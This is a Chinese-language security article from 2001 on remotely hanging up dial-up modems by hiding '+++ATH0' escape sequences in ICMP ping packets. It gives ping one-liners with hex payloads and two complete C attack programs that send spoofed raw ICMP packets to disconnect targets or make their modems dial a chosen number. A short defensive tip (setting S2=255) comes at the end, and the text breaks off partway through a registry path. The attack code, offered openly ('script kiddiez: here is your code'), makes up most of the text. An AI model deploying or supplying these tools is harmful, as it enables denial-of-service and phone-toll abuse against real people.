远程控制调制解调器
( 2001-02-05)
By catsun@cners.com
经常上IRC和聊天室的朋友,大概都有在聊的兴起时突然吊线的情况吧,也许您想那没关系,再上去嘛,可同样的情况又发生了,这!◎#¥%是为什么呢?排除您调制解调器的原因,那就是有人用一些“炸弹”轰炸你。我也有这样的痛苦经历,所以找了些资料读给大家,比如:“怎样远程管理Modems?怎样远程发送AT 命令?我知道他的IP,如何让他断线?我怎样手动控制调制解调器?我怎样防止ATH攻击者?”
首先说一下,数据包再Internet或LAN上的简单传输过程,假设,您的IP为 xx.xx.xx.xx,您要访问的服
务器的IP是:yy.yy.yy.yy,您可以用一个简单的C程序来发送一些数据到yy.yy.yy.yy:
C Program at Source --------------Router ---------------Daemon at Destination’s Port
(xx.xx.xx.xx)(yy.yy.yy.yy)
上面是一个简单的过程,下面我们描述的再深刻一些:
C Program at source-Modem of Source-Router--Modem of Destination--DestinationDaemon
由此可见,数据包通过两个调制解调器,而且不只是信息包通过他们,调制解调器的自身命令也通过。
现在,你知道一个系统与调制解调器通话需要使用调制解调器的命令---AT命令。很难精确的解释AT。
大家都知道“贺氏”吧,是他们首先研发了一种基础的调制解调器的命令,后来很多厂家也遵循这个标准
,所以多数调制解调器为“贺氏兼容”---AT Command set.
————————————————————————————————————————————
要点:一个简单基础的AT命令是让你拨号到你的ISP,你知道,当您按“拨号”按钮时,你的DUN软件对你
的Modem发出这样的命令:
ATDT or ATDP 电话号码
我们分析一下,这个命令,‘AT’激活Modem,第二部分告诉Modem拨号系统的类型,DT为音频,DP为脉冲
方式,最后的部分是你要拨的号码。
说明:要对你的Modem发送命令,你需要使信息包处于命令的状态。
-------------------------------------------------------------------------------------------
Modem只接受在命令的模式下的命令,在默认状态下modem处于命令模式,连入网络后处于在线状态下,这
时,所有的命令将被视为信息包,不被处理。这意味着就算我们知道别人的IP地址,并向他的Modem发送
AT命令,但对方的Modem将把AT命令视为信息包处理,所以我们要让我们的命令起作用,必须改变对方的
IP为命令模式。
当Modem处于在线状态时,我们利用一个溢出漏洞向它发送+++串,将使其被改变为命令模式。这样,当你
知道某人的IP后,向他的Modem发送+++串和AT命令的话,你将可以远程管理这个Modem,使它断线,改
变它的模式,让它向一个特殊号码拨叫等。
下面我们用一个简单的例子说明一下,H0是一个AT命令,它可以使Modem离线或挂起,如下:
+++ATH0
我们将用一个C程序实现这个攻击,在这之前,我先讲一下如何通过ping来实现一个AT命令,但遗憾的是
这个命令在Windows系统下无效,至少从现有的资料来看,效果不大。
ping -c 5 -p 2b2b2b415453323d32353526574f310d ip
如果这个命令你不理解,可以看看*nix box:
$>man ping
下面的脚本也可以实现AT。
#!/bin/sh
ping -p 2b2b2b415448300d $*
说明:ATH0命令并不能在所有的机器上实现,它依赖于Modem的品牌。
——————————————————————————————————————————————
我们从PacketStorm上找到了一个C程序,实现ICMP欺骗攻击。
[ explanation ]
The way the exploit works is it hides escape/control sequences in a ICMP
echo_request packet (it contains the string +++ATH0) the +++ sends the
modem into escape mode (and if the guard time on the modem is set
ridiculously low) it will go into command mode and you can issue it an
ATH0 to hang up. It works on the reply, because it receives the
echo_request packet, then duplicates the packet with a new timestamp and
checksum, dest/source hosts and returns it to the sender, when it returns
it the string is sent to the modem, and thus hanging it up. There are a
few conditions that must be met for it to work (if you dont want to be
vulnerable to this, fix these!)
1) target computer must not filter ICMP echo_request and must know how to
reply to one if it gets one
2) target computer must be using a modem (you can't hangup DS3s, although
i suppose you could hangup telco return connections..if you can find one)
3) target computer must have a vulnerable modem (i.e. guard time is set
ridiculously low)
4) you have to be able to send spoofed packets (or..if you can't i guess
you can use your own address, but then the target knows where it came
from)
In my experimenting, I have also devised various fun ways to use this
program other than just nuking your buddy off IRC. In theory..it is
possible to modify the program to do fun stuff like make the target call
some number after it hangs up (i.e. +++ATH0,,,DT5551212) should make the
modem hangup, pause for 6 seconds then call 5551212..this is fun for
obvious reasons. Then the next variation I came up with is a smurf like
implementation in which you could make a script to DoS a class C subnet,
with the number of your least favorite company, since most company's have
800 numbers, not only does this cause chaos to the phone bank, but also
costs ~$.30 per call...but i don't condone any of those ideas of course,
this is just for experimental/educational purposes only, if you fix your
modems, none of this is possible, so get off your ass and fix it.
script kiddiez: here is your code...
--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE ---
/*
* gin.c
* jpester@engr.csulb.edu
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#define VERSION "1.2-05.05" //fixed old compiler compatibility problems
#define FRIEND "foo"
void usage( char *name );
void banner( void );
char *get_progname( char *fullname );
void done( int foo );
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din );
unsigned short in_chksum( u_short *ipbuf, int iplen );
int main( int argc, char **argv )
{
struct hostent *sourceinfo, *destinfo;
struct sockaddr_in sin, din;
int sockfd, numpackets, i;
char *target, *source;
banner();
( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;
source = argv[1];
target = argv[2];
numpackets = ( atoi( argv[3] ) );
signal( SIGINT, done );
if( ( sourceinfo = gethostbyname( source ) ) == NULL )
{
printf( "cannot resolve source host!
" );
exit( -1 );
}
memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr,
sourceinfo->h_length );
sin.sin_family = AF_INET;
if( ( destinfo = gethostbyname( target ) ) == NULL )
{
printf( "cannot resolve destination host!
" );
exit( -1 );
}
memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr,
destinfo->h_length );
din.sin_family = AF_INET;
if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
{
printf( "Cannot get raw socket, you must be root!
" );
exit( -1 );
}
printf( "Source Host : %s
", inet_ntoa( sin.sin_addr ) );
printf( "Target Host : %s
", inet_ntoa( din.sin_addr ) );
printf( "Number : %d
", numpackets );
printf( "Have some gin sucka" );
for( i = 0; i < numpackets; i++ )
gin( sockfd, sin, din );
printf( "
sent %d packet%c...done
", numpackets, ( numpackets > 1
)
? 's' : ( char )NULL );
return 0;
}
void usage( char *name )
{
printf( "usage: %s <source host> <dest host> <num packets>
[ http://www.rootshell.com/
]
", name
);
exit( 0 );
}
void banner( void )
{
printf( "
gin [ v%s ] /\ by amputee
", VERSION );
printf( "compiled for: %s
", FRIEND );
}
char *get_progname( char *fullname )
{
char *retval = strrchr( fullname, '/' );
return retval ? ++retval : fullname;
}
void done( int foo )
{
puts( "Exiting...
" );
exit( 1 );
}
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din )
{
char *ginstring = "+++ATH0 +++ATH0 +++ATH0 +++ATH0 ";
char *packet;
int total;
struct iphdr *ip;
struct icmphdr *icmp;
size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr );
size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct
timeval );
int len = strlen( ginstring );
packet = ( char * )malloc( iphlen + icplen + len );
ip = ( struct iphdr * )packet;
icmp = ( struct icmphdr * )( packet + iphlen );
( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen
)],
( struct timezone * )NULL );
memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 )
);
ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen );
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = din.sin_addr.s_addr;
ip->check = in_chksum( ( u_short * )ip, iphlen );
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 )
) );
total = ( iphlen + icplen + timlen + len + 16 );
sendto( port, packet, total, 0,
( struct sockaddr * )&din, sizeof( struct sockaddr ) );
free( packet );
}
// stolen from smurf
unsigned short in_chksum( u_short *ipbuf, int iplen )
{
register int nleft = iplen;
register int sum = 0;
u_short answer = 0;
while( nleft > 1 )
{
sum += *ipbuf++;
nleft -= 2;
}
if( nleft == 1 )
{
*( u_char * )( &answer ) = *( u_char * )ipbuf;
sum += answer;
}
sum = ( sum >> 16 ) + ( sum + 0xffff );
sum += ( sum >> 16 );
answer = ~sum;
return( answer );
}
--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE ---
但有些机器运行此程序时出错,将环境变量MALLOC_CHECK_改为1即可,如果编译出错(请用g++ -O3 -o
gin gin.c)
——————————————————————————————————————————————
下面有个更好一点的程序:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#define BUFFER 80
#define RESET "+++ATH0x0d"
#define PATCH "+++ATH0H1TD112x0d"
int resolve(const char *name, unsigned int port, struct sockaddr_in *addr);
unsigned short in_cksum(u_short *addr, int len);
int killmodem(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr, unsigned
int type)
{
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
char *blah;
int rc;
int c;
int b=0;
switch(type)
{ case (0): { blah = RESET; break; }
case (1): { blah = PATCH; break; }
default: blah = RESET;
}
packet = (unsigned char *)malloc(sizeof(struct iphdr) +
sizeof(struct icmphdr) + BUFFER);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
for(c=0;c<(sizeof(struct iphdr)+ sizeof(struct icmphdr) + BUFFER);c++)
{
if(b==strlen(blah)) b=0;
packet[c]=blah[b];
b++;
}
/* This is the IP header of our packet. */
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->id = htons(43210);
ip->frag_off = htons(0);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER);
ip->ttl = 25;
ip->protocol = IPPROTO_ICMP;
ip->saddr = spoof_addr;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = 0;
icmp->checksum = in_cksum((u_short *)icmp,sizeof(struct icmphdr) + BUFFER);
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + BUFFER,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char **argv)
{
struct sockaddr_in dest_addr;
unsigned int i,sock,type;
unsigned long src_addr;
if(geteuid()!=0)
{
fprintf(stderr, "You must be ROOT in order to run this!
");
return(-1);
}
printf("Modem Killer - Version 1.0b - Spoofable
");
printf("By Scrippie
");
if ((argc != 5)) {
printf("Use the following format:
");
printf("%s <Spoof IP> <Target IP> <Number> <Type>
", argv[0]);
printf("Where type means the type of the modem crash.
");
printf("---------------------------------------------
");
printf("Type 0: Makes the modem hangup
");
printf("Type 1: Patches a modem against attacks
");
printf("---------------------------------------------
");
printf("Greetz, Scrippie
");
return(-1);
}
switch(atoi(argv[4]))
{
case (0): { type = 0; break; }
case (1): { type = 1; break; }
default:{ printf("WRONG type you idiot!
"); return(-1); }
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr,"No RAW sockets available...
");
return(-1);
}
if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
src_addr = dest_addr.sin_addr.s_addr;
if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
printf("Now sending the modem kill...
");
for (i = 0;i < atoi(argv[3]);i++)
{
if (killmodem(sock, src_addr, &dest_addr, type) == -1)
{
fprintf(stderr,"Cannot send packet...
");
return(-1);
}
usleep(10000);
}
}
/*****************************************************************************
*** Of course, no one has EVER seen this piece of networking code before... ***
*****************************************************************************/
int resolve(const char *name, unsigned int port, struct sockaddr_in *addr)
{
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"Unable to resolve host %s
",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
——————————————————————————————————————————————
如何保护:
想保护这个攻击也很简单,但建议您在读这个部分之前,攻击一下自己,看看自己是否有漏洞。
另外,保护您不受ATH0攻击,防止你的Modem模式被改变,您需要:Set your init string to: S2=255.
——————————————————————————————————————————————
两种方法改变你modem的初始数值:
1 更改你的registry key:
HKEY_LOCAL_MACHINESystemCurrentControlSetServicesClassModem